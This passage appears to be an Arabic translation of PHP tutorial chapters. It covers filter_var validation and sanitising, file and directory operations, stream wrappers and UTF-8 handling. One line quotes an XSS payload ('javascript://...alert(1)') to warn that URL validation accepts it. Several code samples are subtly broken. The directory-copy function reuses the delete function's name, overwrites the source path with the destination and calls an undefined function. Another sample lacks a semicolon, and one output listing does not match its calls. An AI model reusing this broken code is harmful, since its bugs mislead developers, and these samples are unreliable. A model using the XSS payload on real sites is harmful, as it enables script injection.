"http://www.example.com/path/to/dir/" string(35) "http://www.example.com/path/to/dir/" bool(false) الرابط http://www.example.com/path/to/dir/index.php: var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(44) "http://www.example.com/path/to/dir/index.php" string(44) "http://www.example.com/path/to/dir/index.php" string(44) "http://www.example.com/path/to/dir/index.php" string(44) "http://www.example.com/path/to/dir/index.php" bool(false) الرابط http://www.example.com/path/to/dir/index.php?test=y: var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(51) "http://www.example.com/path/to/dir/index.php?test=y" تحذير: يجب التحقق من أنّ البروتوكول يحميك من هجوم البرمجة عبر المواقع (XSS). var_dump(filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL)); // string(31) "javascript://comment%0Aalert(1)" تعقيم الأعداد العشرية يحذف جميع المحارف باستثناء الأرقام و‎+- والمحارف ‎.,eE اختياريًا. var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT)); الخرج: string(1) "1" string(1) "1" string(1) "1" string(6) "100001" string(1) "1" string(2) "10" string(5) "10000" string(6) "100001" string(4) "1000" string(5) "10000" string(8) "10000000" string(9) "100000001" string(9) "18281-009" باستخدام خيار FILTER_FLAG_ALLOW_THOUSAND: var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); يكون الخرج: string(1) "1" string(1) "1" string(6) "100001" string(1) "1" string(2) "10" string(5) "10000" string(6) "100001" string(5) "1,000" string(6) "1,0000" string(9) "1,0000000" string(10) "1,00000001" string(9) "18281-009" باستخدام الخيار FILTER_FLAG_ALLOW_SCIENTIFIC: var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); يكون الخرج: string(1) "1" string(1) "1" string(1) "1" string(6) "100001" string(1) "1" string(2) "10" string(5) "10000" string(6) "100001" string(4) "1000" string(5) "10000" string(8) "10000000" string(9) "100000001" string(10) "18281e-009" التحقق من عنوان IP يفحص قيمة فيما إذا كانت عنوان IP صحيح: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP)); الخرج: string(13) "185.158.24.24" string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001" string(11) "192.168.0.1" string(9) "127.0.0.1" التحقق من عنوان IP فيما إذا كان عنوان IPv4 صحيح: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); الخرج: string(13) "185.158.24.24" bool(false) string(11) "192.168.0.1" string(9) "127.0.0.1" التحقق من عنوان IP فيما إذا كان عنوان IPv6 صحيح: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); الخرج: bool(false) string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001" bool(false) bool(false) التحقق من كون عنوان IP غير موجود ضمن مجال خاص: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)); الخرج: string(13) "185.158.24.24" string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001" bool(false) string(9) "127.0.0.1" التحقق من كون عنوان IP غير موجود ضمن مجال محجوز: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); الخرج: string(13) "185.158.24.24" bool(false) string(11) "192.168.0.1" bool(false) التعقيم بالمرشحات يمكننا استخدام المرشِّحات لتعقيم متغير ما وفقًا لاحتياجاتنا، مثال: $string = "<p>Example</p>"; $newstring = filter_var($string, FILTER_SANITIZE_STRING); var_dump($newstring); // string(7) "Example" ستحذف الشيفرة السابقة وسوم html من المتغير ‎$string. ترجمة -وبتصرف- للفصل [Filters & Filter Functions] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: شرح المولدات وتوضيح مفهوم المغلف (closure) في PHP المقال السابق: معالجة الملفات والبيانات المرمزة بترميز UTF-8 في PHP
  24. دوال الملاءمة (Convenience functions) الخرج والدخل الخام المباشر توفر الدالتان file_get_contents و file_put_contents قابلية القراءة/الكتابة إلى/من ملف من/إلى سلسلة نصية في PHP في استدعاء واحد. يمكن أن تستخدم الدالة file_put_contents أيضًا مع راية القناع البتي FILE_APPEND للإضافة إلى الملف بدلًا من الكتابة فوقه، ويمكن استخدامها مع القناع البتي LOCK_EX للحصول على قفل حصري للملف أثناء إجراء الكتابة. يمكن دمج رايات القناع البتي باستخدام عامل العملية الثنائية OR |. $path = "file.txt"; // ‫قراءة محتويات الملف file.txt إلى ‎$contents $contents = file_get_contents($path); // ‫إذا غيّرنا شيئًا ما مثلًا `CRLF` إلى `LF` $contents = str_replace("\r\n", "\n", $contents); // ‫نكتب هذا التغيير في file.txt مستبدلين المحتويات الأصلية file_put_contents($path, $contents); تفيد الراية FILE_APPEND في الإضافة إلى ملفات السجلات، بينما تساعد الراية LOCK_EX في منع حالة سباق عدة عمليات للكتابة في الملف، فمثلًا لكتابة حالة الجلسة الحالية في ملف سجل: file_put_contents("logins.log", "{$_SESSION["username"]} logged in", FILE_APPEND | LOCK_EX); الخرج والدخل بصيغة CSV fgetcsv($file, $length, $separator) تحلل الدالة fgetcsv سطرًا من الملف المفتوح وتبحث عن حقول csv، ثم تعيد هذه الحقول في مصفوفة في حالة النجاح وإلا تعيد FALSE. تقرأ بشكلٍ افتراضي سطرًا واحدًا فقط من ملف csv. $file = fopen("contacts.csv","r"); print_r(fgetcsv($file)); print_r(fgetcsv($file,5," ")); fclose($file); محتويات ملف contacts.csv: Kai Jim, Refsnes, Stavanger, Norway Hege, Refsnes, Stavanger, Norway الخرج: Array ( [0] => Kai Jim [1] => Refsnes [2] => Stavanger [3] => Norway ) Array ( [0] => Hege, ) قراءة ملف إلى مجرى الخرج القياسي مباشرةً تنسخ الدالة readfile ملفًا إلى المخزن المؤقت للخرج، ولا تؤدي إلى ظهور أيّة مشاكل في الذاكرة حتى عند إرسال ملفات كبيرة من تلقاء نفسها. $file = 'monkey.gif'; if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } القراءة بدءًا من مكان مؤشر في ملف نستخدم الدالة fpassthru بدلًا من ذلك للبحث عن نقطة في الملف للبدء بالنسخ إلى مجرى الخرج القياسي، في المثال التالي يُنسخ آخر 1024 بايت إلى الخرج القياسي: $fh = fopen("file.txt", "rb"); fseek($fh, -1024, SEEK_END); fpassthru($fh); قراءة ملف إلى مصفوفة تعيد الدالة file أسطر الملف الممرَّر في مصفوفة، يقابل كل عنصر من المصفوفة سطرًا من الملف مع استمرار إضافة السطر الجديد. print_r(file("test.txt")); محتويات الملف test.txt: Welcome to File handling This is to test file handling الخرج: Array ( [0] => Welcome to File handling [1] => This is to test file handling ) حذف ملفات ومجلدات حذف ملفات تحذف الدالة unlink ملفًا واحدًا وتعيد القيمة TRUE عند نجاح العملية وFALSE عند فشلها. $filename = '/path/to/file.txt'; if (file_exists($filename)) { $success = unlink($filename); if (!$success) { throw new Exception("Cannot delete $filename"); } } حذف مجلدات مع حذف عودي (recursive deletion) يمكن حذف المجلدات باستخدام الدالة rmdir إلا أنّ هذه الدالة تحذف المجلدات الفارغة فقط، ولحذف مجلد يحتوي ملفات يجب حذف هذه الملفات أولًا، إذا احتوى المجلد على مجلدات فرعية نحتاج إلى استخدام العودية. يفحص المثال التالي الملفات في مجلد ويحذف ما بداخله من ملفات ومجلدات بشكلٍ تعاودي ويعيد عدد الملفات (وليس المجلدات) المحذوفة. function recurse_delete_dir(string $dir) : int { $count = 0; // ‫التأكد من أنّ ‎$dir ينتهي بخط مائل لنتمكن من ربطه مع أسماء الملفات مباشرةً $dir = rtrim($dir, "/\\") . "/"; // ‫استخدام dir()‎᠎ للحصول على قائمة الملفات $list = dir($dir); // ‫تخزين اسم الملف التالي في ‎$file، إذا كانت قيمة ‎$file هي false أي لا توجد ملفات بعد عندها تُنهى الحلقة while(($file = $list->read()) !== false) { if($file === "." || $file === "..") continue; if(is_file($dir . $file)) { unlink($dir . $file); $count++; } elseif(is_dir($dir . $file)) { $count += recurse_delete_dir($dir . $file); } } // يمكننا الآن حذف المجلد rmdir($dir); return $count; } الحصول على معلومات ملف التحقق من كون المسار ملف أو مجلد تتحقق الدالة is_dir إن كان الوسيط الممرر إليها مجلدًا أم لا، فيما تتحقق الدالة is_file إن كان الوسيط الممرر إليها ملفًا أم لا، ويمكن استخدام الدالة file_exists للتحقق من وجود ملف أو مجلد محدد. $dir = "/this/is/a/directory"; $file = "/this/is/a/file.txt"; echo is_dir($dir) ? "$dir is a directory" : "$dir is not a directory", PHP_EOL, is_file($dir) ? "$dir is a file" : "$dir is not a file", PHP_EOL, file_exists($dir) ? "$dir exists" : "$dir doesn't exist", PHP_EOL, is_dir($file) ? "$file is a directory" : "$file is not a directory", PHP_EOL, is_file($file) ? "$file is a file" : "$file is not a file", PHP_EOL, file_exists($file) ? "$file exists" : "$file doesn't exist", PHP_EOL; الخرج: /this/is/a/directory is a directory /this/is/a/directory is not a file /this/is/a/directory exists /this/is/a/file.txt is not a directory /this/is/a/file.txt is a file /this/is/a/file.txt exists التحقق من نوع ملف نستخدم الدالة filetype لمعرفة نوع ملف محدد والذي قد يكون إمَّا أنبوبة مسماة FIFO أو ملف محرفي خاص char أو مجلد dir أو ملف كتلي خاص block أو وصلة رمزية link أو ملف عادي file أو مقبس socket أو نوع غير معروف unknown. تمرير اسم الملف إلى الدالة filetype مباشرةً: echo filetype("~"); // dir لاحظ أنّه إذا لم يكن الملف موجودًا فإنّ الدالة تعيد false وتشغّل E_WARNING. التحقق من قابلية القراءة والكتابة نمرر اسم الملف للدالتين is_writable وis_readable للتحقق من كون الملف قابلًا للكتابة أو القراءة. تعيد الدالتان القيمة false إذا لم يكن الملف موجودًا. التحقق من وقت الوصول إلى ملف وتعديله تعيد الدالتان filemtime وfileatime الختم الزمني لآخر تعديل أو وصول للملف، ويكون الختم الزمني المعاد بصيغة Unix. echo "File was last modified on " . date("Y-m-d", filemtime("file.txt")); echo "File was last accessed on " . date("Y-m-d", fileatime("file.txt")); الحصول على أجزاء المسار مع fileinfo $fileToAnalyze = ('/var/www/image.png'); $filePathParts = pathinfo($fileToAnalyze); echo '<pre>'; print_r($filePathParts); echo '</pre>'; خرج المثال السابق: Array ( [dirname] => /var/www [basename] => image.png [extension] => png [filename] => image ) يمكن استخدام هذا الخرج كالتالي: $filePathParts['dirname'] $filePathParts['basename'] $filePathParts['extension'] $filePathParts['filename'] المعامل تفاصيل ‎$path المسار الكامل للملف الذي نريد تحليله ‎$option ‫أحد الخيارات التالية: PATHINFO_DIRNAME أو PATHINFO_BASENAME أو PATHINFO_EXTENSION أو PATHINFO_FILENAME table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } تُعاد مصفوفة ترابطية (associative array) إذا لم يُمرَّر المعامل الثاني وإلا تُعاد سلسلة نصية. لا تتحقق من وجود الملف تُحلَّل السلسلة النصية ببساطة إلى أجزاء ولا يُجرى أي تحقق على الملف (مثل التحقق من نوع الترويسة وغير ذلك) الامتداد هو الامتداد الأخير للمتغير ‎$path، سيكون مسار الملف image.jpg.png هو ‎.‎png حتى لو كان هو ملف ‎.‎jpg تقنيًا، وإذا كان الملف بدون امتداد لن يُعاد عنصر الامتداد في المصفوفة. خرج ودخل ملف معتمد على المجرى فتح مجرى تفتح الدالة fopen ملفًا وتخصص له مقبضًا يشبه مقبض الباب يمكن أن تستخدمه دوالًا أخرى للقراءة والكتابة والبحث وغيرها، هذه القيمة من النوع مورد ولا يمكن تمريرها إلى النياسب الأخرى المستمرة في وظيفتها. $f = fopen("errors.log", "a"); ستحاول الشيفرة السابقة فتح الملف errors.log للكتابة. المعامل الثاني هو نمط مجرى الملف: النمط الوصف r يفتح الملف للقراءة فقط بدءًا من أول الملف r+‎ يفتح الملف للقراءة والكتابة بدءًا من أول الملف w يفتح الملف للكتابة فقط بدءًا من أول الملف، إذا كان الملف موجودًا سيفرغه وإذا لم يكن موجودًا سيحاول أن ينشئه w+‎ يفتح الملف للقراءة والكتابه بدءًا من أول الملف، إذا كان الملف موجودًا سيفرغه وإذا لم يكن موجودًا سيحاول أن ينشئه a يفتح الملف للكتابة فقط بدءًا من نهاية الملف، إذا لم يكن الملف موجودًا سيحاول أن ينشئه a+‎ يفتح الملف للقراءة والكتابة بدءًا من نهاية الملف، إذا لم يكن الملف موجودًا سيحاول أن ينشئه x ‫ينشئ ويفتح ملف للكتابة فقط، وإذا كان الملف موجودًا ستفشل الدالة fopen ‏ x+‎ ‫ينشئ ويفتح ملف للكتابة فقط، وإذا كان الملف موجودًا ستفشل الدالة fopen ‏ c يفتح الملف للكتابة فقط، إذا لم يكن موجودًا سيحاول أن ينشئه، يبدأ الكتابة من أول الملف لكنه لا يفرغ الملف قبل الكتابة c+‎ يفتح الملف للقراءة والكتابة، إذا لم يكن موجودًا سيحاول أن ينشئه، يبدأ الكتابة من أول الملف لكنه لا يفرغ الملف قبل الكتابة إنّ إضافة المحرف t بعد النمط (مثل a+b، ‏wt وغير ذلك) في نظام التشغيل ويندوز ستترجم نهايات الأسطر "‎\n" إلى "‎\r\n" عند العمل مع الملف، نضيف المحرف b بعد النمط إذا لم يكن هذا مقصودًا خاصةً إذا كان الملف ثنائيًا. يجب أن يغلق تطبيق PHP أي مجرى بعد الانتهاء من استخدامه باستخدام الدالة fclose وذلك منعًا لظهور الخطأ Too many open files، يعدّ هذا مهمًا خاصةً في برامج واجهة سطر الأوامر (CLI) بما أنّ المجاري تُغلق عند إيقاف التشغيل فقط، وهذا يعني أن ذلك ليس ضروريًا جدًا في خوادم الويب (لكن يجب استخدامه أيضًا كممارسة لمنع تسرب المورد) إذا لم تتوقع تنفيذ العملية لوقتٍ طويل ولن تفتح عدة مجاري. القراءة نستخدم الدالة fread لقراءة عدد مُعطى من البايتات بدءًا من مؤشر الملف أو حتى الوصول إلى نهاية الملف (EOF). قراءة أسطر نستخدم الدالة fgets لقراءة ملف وتستمر بالقراءة حتى تصل إلى نهاية السطر (EOL) أو حتى تنتهي قراءة العدد المُعطى. ستحرِّك كل من الدالتين fread وfgets مؤشر الملف أثناء القراءة. قراءة كل البايتات المتبقية تضع الدالة stream_get_contents كل البايتات المتبقية في المجرى في سلسلة نصية وتعيدها. تعديل موضع مؤشر ملف يكون مؤشر الملف عند فتح المجرى افتراضيًا في بداية الملف (أو في نهايته إذا اُستعمل النمط)، نستخدم الدالة fseek لنحرّك مؤشر الملف إلى موضع جديد، نسبةً لإحدى القيم الثلاثة: SEEK_SET: هذه هي القيمة الافتراضية، تكون إزاحة موقع مؤشر الملف نسبةً لبدايته. SEEK_CUR: إزاحة موقع مؤشر الملف نسبةً للموقع الحالي. SEEK_END: إزاحة موقع مؤشر الملف نسبةً إلى نهاية الملف، ومن الشائع تمرير إزاحة سالبة لهذه القيمة، ستحرّك موقع مؤشر الملف عددًا محددًا من البايتات قبل نهاية الملف. تعد الدالة rewind اختصارًا ملائمًا للشيفرة fseek($fh, 0, SEEK_SET)‎. يُظهر استخدام الدالة ftell الموقع المطلق لمؤشر الملف. يتخطى السكربت التالي أول 10 بايتات، ويقرأ 10 بايتات التالية ثم يتخطى 10 بايتات ويقرأ 10 بايتات ثم يقرأ 10 بايتات الأخيرة من الملف file.txt: $fh = fopen("file.txt", "rb"); // ‫البدء من الإزاحة 10 fseek($fh, 10); // قراءة 10 بايتات echo fread($fh, 10); // تخطي 10 بايتات fseek($fh, 10, SEEK_CUR); // قراءة 10 بايتات echo fread($fh, 10); // تخطي 10 بايتات قبل نهاية الملف fseek($fh, -10, SEEK_END); // قراءة 10 بايتات echo fread($fh, 10); fclose($fh); الكتابة نستخدم الدالة fwrite لكتابة سلسلة في ملف بدءًا من موقع المؤشر الحالي. fwrite($fh, "Some text here\n"); نقل ونسخ ملفات ومجلدات نسخ ملفات تنسخ الدالة copy الملف المصدر المحدد في الوسيط الأول إلى الهدف المحدد في الوسيط الثاني، يجب أن يكون الهدف في مجلد مُنشأ بالفعل. if (copy('test.txt', 'dest.txt')) { echo 'File has been copied successfully'; } else { echo 'Failed to copy file to destination given.' } نسخ مجلدات مع عودية (recursion) يشبه نسخ الملفات حذفها إلى درجة كبيرة، باستثناء أننا نستخدم الدالة copy بدلًا من unlink للملفات وmkdir بدلًا من rmdir للمجلدات في بداية بدلًا من كونها في نهاية الدالة. function recurse_delete_dir(string $src, string $dest) : int { $count = 0; // ‫التأكد من أنّ كل من ‎$src و‎$dest ينتهي بخط مائل حتى يمكننا دمجه مع أسماء الملفات $src = rtrim($dest, "/\\") . "/"; $dest = rtrim($dest, "/\\") . "/"; // ‫استخدام dir()‎ للحصول على قائمة الملفات $list = dir($src); // ‫إنشاء المجلد ‎$dest إذا لم يكن موجودًا @mkdir($dest); // ‫تخزين اسم الملف التالي في ‎$file، إذا أصبحت قيمة ‎$file هي false تُنهى الحلقة while(($file = $list->read()) !== false) { if($file === "." || $file === "..") continue; if(is_file($src . $file)) { copy($src . $file, $dest . $file); $count++; } elseif(is_dir($src . $file)) { $count += recurse_copy_dir($src . $file, $dest . $file); } } return $count; } إعادة التسمية/النقل عملية إعادة التسمية/النقل أبسط بكثير، إذ يمكن نقل أو إعادة تسمية كامل المجلد في استدعاء واحد للدالة rename، أمثلة: rename("~/file.txt", "~/file.html"); rename("~/dir", "~/old_dir"); rename("~/dir/file.txt", "~/dir2/file.txt"); تقليل استخدام الذاكرة عند التعامل مع ملفات كبيرة يمكننا استخدام إحدى الدالتين file أو file_get_contents إذا احتجنا إلى تحليل ملف كبير مثل ملف CSV يتضمن ملايين الأسطر وحجمه أكبر من 10 ميجابايت وينتهي الأمر بالحصول على الخطأ: Allowed memory size of XXXXX bytes exhausted بفرض أنّ المصدر التالي top-1m.csv يحتوي على مليون سطر وحجمه حوالي 22 ميجابايت. var_dump(memory_get_usage(true)); $arr = file('top-1m.csv'); var_dump(memory_get_usage(true)); الخرج: int(262144) int(210501632) بما أنّ المفسّر يحتاج إلى حمل الأسطر في مصفوفة ‎$arr لذا فإنّه يستهلك 200 ميجابايت من ذاكرة الوصول العشوائي (RAM)، لاحظ أنّه لا يمكننا فعل أي شيء مع محتويات المصفوفة. بفرض أنّه لدينا الشيفرة التالية: var_dump(memory_get_usage(true)); $index = 1; if (($handle = fopen("top-1m.csv", "r")) !== FALSE) { while (($row = fgetcsv($handle, 1000, ",")) !== FALSE) { file_put_contents('top-1m-reversed.csv',$index . ',' . strrev($row[1]) . PHP_EOL,FILE_APPEND); $index++; } fclose($handle); } var_dump(memory_get_usage(true)); خرج الشيفرة السابقة: int(262144) int(262144) لا نستخدم بايتًا واحدًا إضافيًا من الذاكرة لكن نحلل كامل ملف CSV ونحفظه إلى ملف آخر مع عكس قيمة العمود الثاني، وذلك لأنّ الدالة fgetcsv تقرأ سطر واحد فقط ويُكتب فوق ‎$row عند كل تكرار. المجاري (streams) اسم المعامل الوصف Stream Resource ‫ يتألف مزود البيانات من الصيغة `‎://‎` تسجيل مغلِّف مجرى يوفر مغلِّف المجرى مقبضًا لمخطط محدد أو أكثر، يُظهر المثال التالي مُغلِّف مجرى بسيط يرسل طلبات PATCH HTTP عند إغلاق المجرى. // ‫تسجيل الصنف FooWrapper مغلِّفًا لمجرى روابط ‎foo://‎ stream_wrapper_register("foo", FooWrapper::class, STREAM_IS_URL) or die("Duplicate stream wrapper registered"); class FooWrapper { // ‫‫سيُعدَّل هذا من PHP لإظهار السياق الممرَّر في الاستدعاء الحالي public $context; // يستخدم هذا داخليًا في هذا المثال لتخزين الرابط private $url; // ‫عند استدعاء fopen()‎ مع بروتوكول لهذا المغلِّف، يمكن تنفيذ هذا التابع لتخزين بيانات مثل المضيف. public function stream_open(string $path, string $mode, int $options, string &$openedPath) :bool { $url = parse_url($path); if($url === false) return false; $this->url = $url["host"] . "/" . $url["path"]; return true; } // ‫معالجة استدعاءات الدالة fwrite()‎ على هذا المجرى public function stream_write(string $data) : int { $this->buffer .= $data; return strlen($data); } // ‫معالجة استدعاءات الدالة fclose()‎ على هذا المجرى public function stream_close() { $curl = curl_init("http://" . $this->url); curl_setopt($curl, CURLOPT_POSTFIELDS, $this->buffer); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "PATCH"); curl_exec($curl); curl_close($curl); $this->buffer = ""; } // ‫مُعالج استثناء قيمة تراجعية في حال القيام بعملية غير مدعومة // هذا ليس ضروريًا‎ public function __call($name, $args) { throw new \RuntimeException("This wrapper does not support $name"); } // ‫تُستدعى الشيفرة التالية عند استدعاء unlink("foo://something-else")‎ public function unlink(string $path) { $url = parse_url($path); $curl = curl_init("http://" . $url["host"] . "/" . $url["path"]); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "DELETE"); curl_exec($curl); curl_close($curl); } } يُظهر هذا المثال بعض الأمثلة على ما قد يحتويه مُغلِّف مجرى عام، ليست هذه كل التوابع المتوفرة، يمكنك أن تجد هنا كل التوابع المتوفرة والتي يمكن تنفيذها. ترميز UTF-8 الدخل يجب التحقق من كل سلسلة نصية مُستقبَلة أنّها مكتوبة بترميز UTF-8 صحيح قبل محاولة تخزينها في أي مكان، تقوم دالة mbcheckencoding()‎ بهذا العمل لكن يجب أن تستخدمها بشكلٍ منتظم، لا توجد طريقة لحل هذه المشكلة إذ يمكن للعملاء الضارّين إرسال البيانات بأي تشفير يريدونه. $string = $_REQUEST['user_comment']; if (!mb_check_encoding($string, 'UTF-8')) { // ‫ترميز السلسلة النصية ليس UTF-8 لذا أعد تشفيرها $actualEncoding = mb_detect_encoding($string); $string = mb_convert_encoding($string, 'UTF-8', $actualEncoding); } يمكنك تجاهل النقطة الأخيرة إذا كنت تستخدم HTML5، إذ أنّ الطريقة الموثوقة الوحيدة لتكون كل البيانات المرسلة إليك عبر المتصفحات بالترميز UTF-8 هي إضافة السمة accept-charset لكل وسوم <form> كالتالي: <form action="somepage.php" accept-charset="UTF-8"> الخرج إذا كان تطبيقك ينقل نصًا إلى الأنظمة الأخرى فأنت تحتاج إلى التأكد من ترميز المحارف، يمكنك في PHP استخدام خيار default_charset في php.ini أو التصريح عن نوع المحتوى يدويًا Content-Type MIME في الترويسة وهذه الطريقة الأفضل عند استهداف المتصفحات الحديثة. header('Content-Type: text/html; charset=utf-8'); يمكنك ضبط الترميز في ملف HTML باستخدام البيانات الوصفية إذا كنت غير قادرٍ على ضبط 